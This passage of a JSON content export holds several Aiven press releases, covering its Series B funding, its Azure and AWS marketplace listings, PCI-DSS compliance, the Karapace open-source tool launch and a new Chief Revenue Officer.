technologies in the cloud. The Series B will allow Aiven to provide new cloud services for customers and continue empowering developers to focus on their core products, not the underlying infrastructure."}],"markDefs":[{"_key":"m9600503914587","_type":"link","href":"https://www.bloomberg.com/news/articles/2020-01-08/everyone-wants-a-piece-of-enterprise-tech-companies"}],"style":"normal"},{"_key":"VIf9ZsFs","_type":"block","children":[{"_key":"VJT665q8","_type":"span","marks":[],"text":"To learn more about Aiven’s capabilities, visit https://aiven.io/."}],"markDefs":[],"style":"normal"},{"_key":"frUi3LAJ","_type":"block","children":[{"_key":"8WUHdIup","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"lyXg9nDQ","_type":"block","children":[{"_key":"nqfOF9zI","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"8s3euYD6","_type":"block","children":[{"_key":"E2FFbRqa","_type":"span","marks":[],"text":"You can visit "},{"_key":"Wu7aaUlI","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"K390Hi8L","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"oiKfSlh6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"uddLgWjg","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"nz0L5rdC","_type":"block","children":[{"_key":"Y1m8J9NZ","_type":"span","marks":["strong"],"text":"About IVP"}],"markDefs":[],"style":"normal"},{"_key":"ljiULBrm","_type":"block","children":[{"_key":"Z5O2369Q","_type":"span","marks":[],"text":"With $7 billion of committed capital, IVP is one of the premier later-stage venture capital and growth equity firms in the United States. Founded in 1980, IVP has invested in over 400 companies with 113 IPOs. IVP is one of the top-performing firms in the industry and has a 38-year IRR of 43.1%. IVP specializes in venture growth investments, industry rollups, founder liquidity transactions, and select public market investments. IVP investments include such notable companies as AppDynamics (CSCO), Casper, Coinbase, Compass, CrowdStrike (CRWD), Datadog (DDOG), Datalogix (ORCL), Dropbox (DBX), GitHub (MSFT), Glossier, Grammarly, HashiCorp, HomeAway (EXPE), The Honest Company, Kayak (PCLN), Klarna, LegalZoom, Marketo (ADBE), Mindbody (MB), MuleSoft (CRM), Netflix (NFLX), Personal Capital, Pure Storage (PSTG), Rubrik, Slack (WORK), Snap (SNAP), SoFi, Supercell (SFTBF), Tanium, TransferWise, Twitter (TWTR), UiPath, Yext (YEXT), ZenDesk (ZEN), ZipRecruiter, and Zynga (ZNGA)."}],"markDefs":[],"style":"normal"},{"_key":"HVYpuJi8","_type":"block","children":[{"_key":"VPAwwPyl","_type":"span","marks":[],"text":"For more information, "},{"_key":"zG6QswkX","_type":"span","marks":["m14481166898348"],"text":"visit www.ivp.com"},{"_key":"wXIATuGb","_type":"span","marks":[],"text":" or follow IVP on Twitter: "},{"_key":"hQXfA2EA","_type":"span","marks":["m8680393508200"],"text":"@ivp"},{"_key":"qktIeAGb","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"},{"_key":"m8680393508200","_type":"link","href":"https://twitter.com/ivp"}],"style":"normal"}],"publishedAt":"2020-02-05T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Press Release: In 2020, we expanded our product roadmap \u0026 work closely with \u003e500 businesses worldwide. ","metaTitle":"Aiven raises $40m Series B to accelerate open source cloud"},"slug":{"_type":"slug","current":"/press/aiven-raises-dollar40m-series-b-to-accelerate-open-source-cloud-platform"},"subtitle":"Aiven Press Release: In 2020, we expanded our product roadmap and work closely with \u003e500 businesses worldwide.","title":"Aiven raises $40m Series B to accelerate open source cloud platform"} {"__i18n_lang":"en","_createdAt":"2022-11-16T20:36:38Z","_id":"09d2b95e-a866-4d7d-8a83-11b39df4a80b","_rev":"5iTZEBNHx5PwgJLwP8sgge","_type":"pressRelease","_updatedAt":"2022-12-02T13:24:49Z","content":[{"_key":"af9c6308bfdf","_type":"block","children":[{"_key":"cbf0ac3edc970","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 17, 2022-"},{"_key":"07cb4a9006fe","_type":"span","marks":[],"text":" "},{"_key":"cbf0ac3edc971","_type":"span","marks":["87994148d4f9"],"text":"Aiven"},{"_key":"cbf0ac3edc972","_type":"span","marks":[],"text":", the open source cloud data platform company, is now available in the Microsoft Azure Marketplace, an online store providing applications and services for use on Azure. Aiven customers can now take advantage of the productive and trusted Azure cloud platform, with streamlined deployment and management."}],"markDefs":[{"_key":"87994148d4f9","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"7b0756f1dc37","_type":"block","children":[{"_key":"2c4efb0640410","_type":"span","marks":[],"text":"\nAiven's availability on Azure marketplace makes it possible for businesses and developers alike to get instant access to the Aiven platform on a pay-as-you-go basis and utilize their Azure account for procurement and billing. Aiven’s platform provides best of breed open source technologies such as Apache Kafka®, PostgreSQL® and OpenSearch® to manage data from a single, easy to use console for all types of data - streaming, operational and analytics. All services are fully managed with guaranteed uptime of 99.99%."}],"markDefs":[],"style":"normal"},{"_key":"9463af42a490","_type":"block","children":[{"_key":"4629c04149a10","_type":"span","marks":[],"text":"\n“Aiven’s integration with Azure marketplace brings the open source technologies closer to developers in the Azure ecosystem, helping them innovate and ship faster.” said Heikki Nousiainen, Aiven CTO. “We are thrilled to take this step with Microsoft Azure and look forward to closely collaborating with Azure and our joint customers.”"}],"markDefs":[],"style":"normal"},{"_key":"6535dbce0a22","_type":"block","children":[{"_key":"e4351477e6790","_type":"span","marks":[],"text":"\nJake Zborowski, General Manager, Microsoft Azure Platform at Microsoft Corp. said, “We’re pleased to welcome Aiven to the Microsoft Azure Marketplace, which gives our partners great exposure to cloud customers around the globe. Azure Marketplace offers world-class quality experiences from global trusted partners with solutions tested to work seamlessly with Azure.”"}],"markDefs":[],"style":"normal"},{"_key":"18b8e4026406","_type":"block","children":[{"_key":"7ec6ba79aa7a0","_type":"span","marks":[],"text":"For more information on Aiven, please visit "},{"_key":"4356138e257c1","_type":"span","marks":["668e3798c290"],"text":"https://aiven.io/"},{"_key":"4356138e257c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"668e3798c290","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"99479b2ad70a","_type":"block","children":[{"_key":"c7a3a7a8636f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b94ce72fc108","_type":"image","asset":{"_ref":"image-60897ac9e27e3021cd35bba539301398e7137fde-1275x1021-jpg","_type":"reference"}},{"_key":"9ef29c55f001","_type":"block","children":[{"_key":"099f43cfca8b","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"56099c9cdcf1","_type":"block","children":[{"_key":"7c1c6480195e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ffff6bf3ac49","_type":"block","children":[{"_key":"9c59a19158c60","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Toronto, Sydney, Singapore, and Tokyo. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds.  Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"5e57ecca2fd1","_type":"block","children":[{"_key":"39d6856e49690","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"20753902a96b","_type":"block","children":[{"_key":"6346a56ab1fb0","_type":"span","marks":[],"text":"\n"},{"_key":"ce634b0da53a0","_type":"span","marks":["strong"],"text":"Media Contacts\n"},{"_key":"59355179fa770","_type":"span","marks":[],"text":"Aiven\nRachel Romoff\npress@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"ddc67c46aab0","_type":"block","children":[{"_key":"707ad5cad51b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-11-17T20:36:00.000Z","seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Aiven, the open source cloud data platform company, is now available in the Microsoft Azure Marketplace. ","metaTitle":"Aiven Now Available on Microsoft Azure Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-now-available-on-microsoft-azure-marketplace"},"subtitle":"Microsoft Azure customers worldwide now gain access to Aiven’s fully managed data open source services to take advantage of the scalability, reliability and agility of Azure.\n","title":"Aiven now available on Microsoft Azure Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7tdUO65BTePbQuSzc2Kjj7","_rev":"0rD6Phxg3duzic15oE7Etg","_type":"pressRelease","_updatedAt":"2022-12-02T12:12:21Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a startup that combines the best open source technologies with cloud infrastructure, announced today that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka. This enables customers who use AWS to simplify their procurement process when purchasing Aiven products.\n\nThis new option allows customers of both services to receive a single invoice from AWS, rather than having two separate bills from the service providers. Additionally, purchases of Aiven services through the marketplace will count towards customers’ cloud spending commitments with AWS.\n\n“Given the size and scope of AWS, it was a no brainer to simplify the procurement and accounting processes for their marketplace customers,” said Hannu Valtonen, VP Product at Aiven. “Our aim is to make it easier for our customers to take open source technology into use, and this is an important step in that direction.”\n\nAiven will gradually make its other offerings available in the AWS marketplace over the coming months. This strategy enables the open source cloud provider to reach a new segment of potential customers who might not have been able to access Aiven’s products due to having different procurement rules that would have prevented it. With the ability to purchase Aiven through AWS, those users have better access to open source technology.\n\n\nVisit the [Aiven for Apache Kafka](https://aiven.io/kafka) page to learn more about it.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"0iEx1Oll","_type":"block","children":[{"_key":"a04f03c8320c","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 11, 2020-"},{"_key":"lvDBpF9y","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"uo69BKvh","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced today that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka. This enables customers who use AWS to simplify their procurement process when purchasing Aiven products."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"3lhAj0mE","_type":"block","children":[{"_key":"xgpMsalt","_type":"span","marks":[],"text":"This new option allows customers of both services to receive a single invoice from AWS, rather than having two separate bills from the service providers. Additionally, purchases of Aiven services through the marketplace will count towards customers’ cloud spending commitments with AWS."}],"markDefs":[],"style":"normal"},{"_key":"Qof8HBRg","_type":"block","children":[{"_key":"HTQEhDJ5","_type":"span","marks":[],"text":"“Given the size and scope of AWS, it was a no brainer to simplify the procurement and accounting processes for their marketplace customers,” said Hannu Valtonen, VP Product at Aiven. “Our aim is to make it easier for our customers to take open source technology into use, and this is an important step in that direction.”"}],"markDefs":[],"style":"normal"},{"_key":"fBUxUMAs","_type":"block","children":[{"_key":"SyaZvelG","_type":"span","marks":[],"text":"Aiven will gradually make its other offerings available in the AWS marketplace over the coming months. This strategy enables the open source cloud provider to reach a new segment of potential customers who might not have been able to access Aiven’s products due to having different procurement rules that would have prevented it. With the ability to purchase Aiven through AWS, those users have better access to open source technology."}],"markDefs":[],"style":"normal"},{"_key":"3CKrysAv","_type":"block","children":[{"_key":"HbFxvy2C","_type":"span","marks":[],"text":"Visit the "},{"_key":"c4fZjcmi","_type":"span","marks":["m3354951073646"],"text":"Aiven for Apache Kafka"},{"_key":"7rqQbfot","_type":"span","marks":[],"text":" page to learn more about it."}],"markDefs":[{"_key":"m3354951073646","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"miOyeOjh","_type":"block","children":[{"_key":"BIFDxA24","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"PObac8VP","_type":"block","children":[{"_key":"BwpuQiMy","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"zCxmY0as","_type":"block","children":[{"_key":"kKq8dTA1","_type":"span","marks":[],"text":"You can visit "},{"_key":"zJtJdcLQ","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"LtIgSxQy","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"1HI3REwe","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"4uO9t9xF","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-03-11T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Our managed Apache Kafka is now available at AWS Marketplace also for existing AWS accounts. Customers can now easily access Aiven services.","metaTitle":"Aiven services now available in the AWS Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-now-available-on-aws-marketplace"},"subtitle":"Aiven Press Release: Our managed Apache Kafka is now available at AWS Marketplace also for existing AWS accounts. Customers can now easily access Aiven services.","title":"Aiven services now available in the AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"64rmi9Xr9KohBj5wd0tU3f","_rev":"5iTZEBNHx5PwgJLwP8aXPE","_type":"pressRelease","_updatedAt":"2022-12-02T12:19:59Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, today announces its services meet all Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements. This global security standard for information is designed to ensure that companies processing, storing or transmitting payment card information maintain a secure environment.\n\nCustomers requiring full PCI-DSS compliance can now leverage Aiven services, and they can opt-in to enable the required security options when launching a service on the Aiven platform. A recent study found that only [27.9% of global organizations](https://www.zdnet.com/article/payment-card-security-remains-lax-says-verizon-business-report/) were in full compliance with PCI-DSS, which shows that many companies are potentially leaving consumers’ data vulnerable to cyber attacks. \n\n“Our PCI-DSS compliant status is just another sign of the progress we’ve made in providing top-notch security for our clients across AWS, GCP, and Azure cloud platforms,” said Heikki Nousiainen, CTO at Aiven. “This addition to our information security certifications makes Aiven the most comprehensively secure and compliant open source data platform.”\n\nPCI-DSS is a mandated standard for many financial applications, and while it is naturally most often required by financial service providers, it’s also becoming more common across all industries for companies needing to meet the highest security standards. PCI-DSS adds to Aiven’s existing SOC 2, ISO 27001, GDPR and HIPAA compliances and demonstrates its commitment to customer information security, ensuring Aiven’s services meet standards of security assurance required by even the most regulated industries.\n\n\"At Ziglu, it’s imperative we have the most resilient and secure data infrastructure on the market because we handle crypto and fiat currencies,” said Hussein Badakhchani, CTO at Ziglu, a cryptocurrency app. “Aiven has a unique capability to provide database services that meet our high standards. Aiven's PCI-DSS compliance is more proof of their commitment to security and data privacy.\"\n\nTo learn more about Aiven, visit: [https://aiven.io/](https://aiven.io/).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"bde1c1b95550","_type":"block","children":[{"_key":"6ea80df20de2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 22, 2020- "},{"_key":"F7kNK2Qr","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"9uV44R1S","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, today announces its services meet all Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements. This global security standard for information is designed to ensure that companies processing, storing or transmitting payment card information maintain a secure environment."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"tvpbUFQO","_type":"block","children":[{"_key":"ai3d8Z8k","_type":"span","marks":[],"text":"Customers requiring full PCI-DSS compliance can now leverage Aiven services, and they can opt-in to enable the required security options when launching a service on the Aiven platform. A recent study found that only "},{"_key":"7YetjmIf","_type":"span","marks":["m7410364408199"],"text":"27.9% of global organizations"},{"_key":"Al3SFKJV","_type":"span","marks":[],"text":" were in full compliance with PCI-DSS, which shows that many companies are potentially leaving consumers’ data vulnerable to cyber attacks."}],"markDefs":[{"_key":"m7410364408199","_type":"link","href":"https://www.zdnet.com/article/payment-card-security-remains-lax-says-verizon-business-report/"}],"style":"normal"},{"_key":"ZPHs4M3i","_type":"block","children":[{"_key":"RRjFlOIk","_type":"span","marks":[],"text":"“Our PCI-DSS compliant status is just another sign of the progress we’ve made in providing top-notch security for our clients across AWS, GCP, and Azure cloud platforms,” said Heikki Nousiainen, CTO at Aiven. “This addition to our information security certifications makes Aiven the most comprehensively secure and compliant open source data platform.”"}],"markDefs":[],"style":"normal"},{"_key":"tkL04C1F","_type":"block","children":[{"_key":"P9cA43f3","_type":"span","marks":[],"text":"PCI-DSS is a mandated standard for many financial applications, and while it is naturally most often required by financial service providers, it’s also becoming more common across all industries for companies needing to meet the highest security standards. PCI-DSS adds to Aiven’s existing SOC 2, ISO 27001, GDPR and HIPAA compliances and demonstrates its commitment to customer information security, ensuring Aiven’s services meet standards of security assurance required by even the most regulated industries."}],"markDefs":[],"style":"normal"},{"_key":"GG0mcw4U","_type":"block","children":[{"_key":"gxKuX31z","_type":"span","marks":[],"text":"\"At Ziglu, it’s imperative we have the most resilient and secure data infrastructure on the market because we handle crypto and fiat currencies,” said Hussein Badakhchani, CTO at Ziglu, a cryptocurrency app. “Aiven has a unique capability to provide database services that meet our high standards. Aiven's PCI-DSS compliance is more proof of their commitment to security and data privacy.\""}],"markDefs":[],"style":"normal"},{"_key":"cxzEBc60","_type":"block","children":[{"_key":"vsFLJywf","_type":"span","marks":[],"text":"To learn more about Aiven, visit: "},{"_key":"a5wMqRe6","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"m1pjx9VU","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"ICHb8H6x","_type":"block","children":[{"_key":"1eiz2ocW","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"4v0TkP7n","_type":"block","children":[{"_key":"nDRfLlqK","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"adgYFlJa","_type":"block","children":[{"_key":"3g3ao5mR","_type":"span","marks":[],"text":"You can visit "},{"_key":"mz9I8b6f","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"OWlpEPH5","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"JqYyKd7g","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OQ3Cqjyz","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-22T00:00:00.000Z","seo":{"metaDescription":"Aiven’s latest compliance standard ensures its customers’ have the most comprehensive data protection.","metaTitle":"Aiven is now PCI-DSS compliant"},"slug":{"_type":"slug","current":"/press/aiven-now-compliant-with-payment-card-industry-data-security-standard"},"subtitle":"Aiven’s latest compliance standard ensures its customers’ have the most comprehensive data protection.","title":"Aiven is now PCI-DSS compliant"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5rgWjSelUXHQGRwnvi2hP2","_rev":"ElrRHx5al3kb1PwLXGlWsd","_type":"pressRelease","_updatedAt":"2022-12-02T12:16:23Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading technology company combining the best open source technologies with cloud infrastructure, announced today the launch of Karapace, the only open-source tool that serves as a drop-in replacement for Confluent’s Kafka REST and Schema Registry.\n\n“We’re proud to announce the release of Karapace, which demonstrates our continued commitment to the Apache Kafka open-source community,” said Hannu Valtonen, Chief Product Officer at Aiven. “Karapace provides an additional tool that makes it easier to manage Kafka clusters at scale and further unlocks the full functionality of the Kafka ecosystem, whether users want to utilize Aiven services or not.”\n\nWith the addition of Karapace, customers can use the tool to store Kafka schemas in a central repository and access their version history, serialize and deserialize messages, interface RESTfully with Kafka clusters, and perform administrative tasks on their cluster, such as produce and consume messages.\n\nThis is not the first of Aiven’s contributions to open-source projects. They’ve contributed a number of fixes and feature releases, such as PGHoard, a popular PostgreSQL backup daemon and restore tooling for cloud object storage. As the Aiven team continues to grow and specialize, they plan on making more significant core and feature contributions to the open-source technologies they provide service for.\n\n“The other founders and I have been ardent supporters of open source for the length of our careers, both philosophically and practically. When we started Aiven, we wanted to continue that support by baking it right into the DNA of the company while also committing resources to furthering the projects we benefit from and believe in.”\n\nAiven licensed Karapace under Apache 2.0 and included a number of enhancements to make it lighter on resource usage. Aiven also plans to add features over time and assist in increasing the open access to Apache Kafka, whether implemented independently or as a service.\n\nTo learn more about Karapace, visit [https://karapace.io/](https://karapace.io/).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: @aiven_io.","content":[{"_key":"EQLa42r5","_type":"block","children":[{"_key":"b12878260751","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 8, 2020- "},{"_key":"3OYx1wr2","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"L17mOWSL","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today the launch of Karapace, the only open-source tool that serves as a drop-in replacement for Confluent’s Kafka REST and Schema Registry."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"13u4OdcT","_type":"block","children":[{"_key":"2wpW2QjR","_type":"span","marks":[],"text":"“We’re proud to announce the release of Karapace, which demonstrates our continued commitment to the Apache Kafka open-source community,” said Hannu Valtonen, Chief Product Officer at Aiven. “Karapace provides an additional tool that makes it easier to manage Kafka clusters at scale and further unlocks the full functionality of the Kafka ecosystem, whether users want to utilize Aiven services or not.”"}],"markDefs":[],"style":"normal"},{"_key":"aTW9GFyr","_type":"block","children":[{"_key":"OXcuW5yR","_type":"span","marks":[],"text":"With the addition of Karapace, customers can use the tool to store Kafka schemas in a central repository and access their version history, serialize and deserialize messages, interface RESTfully with Kafka clusters, and perform administrative tasks on their cluster, such as produce and consume messages."}],"markDefs":[],"style":"normal"},{"_key":"kitSBklF","_type":"block","children":[{"_key":"8QYJR632","_type":"span","marks":[],"text":"This is not the first of Aiven’s contributions to open-source projects. They’ve contributed a number of fixes and feature releases, such as PGHoard, a popular PostgreSQL backup daemon and restore tooling for cloud object storage. As the Aiven team continues to grow and specialize, they plan on making more significant core and feature contributions to the open-source technologies they provide service for."}],"markDefs":[],"style":"normal"},{"_key":"Ta0P2T3I","_type":"block","children":[{"_key":"rVQfaMh4","_type":"span","marks":[],"text":"“The other founders and I have been ardent supporters of open source for the length of our careers, both philosophically and practically. When we started Aiven, we wanted to continue that support by baking it right into the DNA of the company while also committing resources to furthering the projects we benefit from and believe in.”"}],"markDefs":[],"style":"normal"},{"_key":"BFrbmjXj","_type":"block","children":[{"_key":"G5S8XJXn","_type":"span","marks":[],"text":"Aiven licensed Karapace under Apache 2.0 and included a number of enhancements to make it lighter on resource usage. Aiven also plans to add features over time and assist in increasing the open access to Apache Kafka, whether implemented independently or as a service."}],"markDefs":[],"style":"normal"},{"_key":"l63gYqoc","_type":"block","children":[{"_key":"MPqP0ava","_type":"span","marks":[],"text":"To learn more about Karapace, visit "},{"_key":"HFoayaWp","_type":"span","marks":["m14990230203667"],"text":"https://karapace.io/"},{"_key":"uHZr52aC","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14990230203667","_type":"link","href":"https://karapace.io/"}],"style":"normal"},{"_key":"fWhd8Hhm","_type":"block","children":[{"_key":"QWNdJImB","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"m331jEQR","_type":"block","children":[{"_key":"uO3aVCT1","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"7o4HzMmR","_type":"block","children":[{"_key":"501l3QM0","_type":"span","marks":[],"text":"You can visit "},{"_key":"YkHx5Pl6","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"FOYyOMT0","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: @aiven_io."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"}],"publishedAt":"2020-07-08T00:00:00.000Z","seo":{"metaDescription":"The open-source tool, Karapace, will enable enterprises to plug into Kafka REST and Schema Registry, unlocking new capabilities.","metaTitle":"Aiven launches the open-source tool Karapace"},"slug":{"_type":"slug","current":"/press/aiven-launches-open-source-alternative-to-kafka-rest-and-schema-registry"},"subtitle":"The open-source tool, Karapace, will enable enterprises to plug into Kafka REST and Schema Registry, unlocking new capabilities.","title":"Aiven launches the open-source tool Karapace"} {"__i18n_lang":"en","_createdAt":"2023-03-07T05:42:53Z","_id":"d179bc42-d4a5-47fa-bfe7-cc0edd3f73ca","_rev":"iUKOwlWz6dlX4J4w2kV81v","_type":"pressRelease","_updatedAt":"2023-03-08T13:00:09Z","content":[{"_key":"b98bd525d2b5","_type":"block","children":[{"_key":"2fad8e876dc70","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — March 8, 2023"},{"_key":"2fad8e876dc71","_type":"span","marks":[],"text":" — "},{"_key":"2fad8e876dc72","_type":"span","marks":["7f4ffa6cabd7"],"text":"Aiven"},{"_key":"2fad8e876dc73","_type":"span","marks":[],"text":", the open source cloud data platform, announced today that David Wyatt joins the company as Chief Revenue Officer. Wyatt brings over more than two decades of sales leadership roles and a track record of accelerating growth in many Software as a Service (SaaS) companies such as Databricks and MuleSoft."}],"markDefs":[{"_key":"7f4ffa6cabd7","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"8ee996157b88","_type":"block","children":[{"_key":"b17ad66932870","_type":"span","marks":[],"text":"Wyatt joins Aiven at a pivotal period to steer the company and support its growth objectives. His focus will be on shaping and optimizing the company’s integrated go-to-market strategy, enabling teams to scale and achieve continued growth, and ultimately driving satisfaction for its customers and meeting global demand for the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"3477b402dec7","_type":"block","children":[{"_key":"5d5d91fcea250","_type":"span","marks":[],"text":"“I’m over the moon to join Aiven and build growth once more in a promising company that is faced with a colossal market opportunity. There is a lot of repeatability in the problems that companies face around data infrastructure. This impacts cost, speed of delivery, and most ultimately the ability to act fast to drive revenue and profitability. Aiven has the ability to simplify all this to the customers and serve them better than anyone else”, said David Wyatt, Aiven’s Chief Revenue Officer."}],"markDefs":[],"style":"normal"},{"_key":"3a3fe0d0bcc1","_type":"block","children":[{"_key":"f9bdb070ff770","_type":"span","marks":[],"text":"“We are thrilled to welcome David to the executive team,” said Oskari Saarenmaa, CEO and Co-founder at Aiven. “His impressive experience and proven track record of building fast-growing software companies uniquely positions him to help drive the next era of growth here at Aiven, as we continue towards our vision of empowering developers and enterprises with the best data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"c20ea806375f","_type":"block","children":[{"_key":"bedb12633f2a0","_type":"span","marks":[],"text":"Aiven serves over 1000 businesses worldwide, including Atlassian, Comcast, OVO Energy, Gov.uk, Wolt, and Toyota. Aiven’s customers – whether large enterprises who want to become digital or startups who want to scale fast – all seek a secure and cost-efficient one-stop platform for their data.\n\n###"}],"markDefs":[],"style":"normal"},{"_key":"952bf8b591b7","_type":"block","children":[{"_key":"e49eee02aaf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"06c41ff5d256","_type":"block","children":[{"_key":"480cf3f0aaa70","_type":"span","marks":["strong"],"text":"About 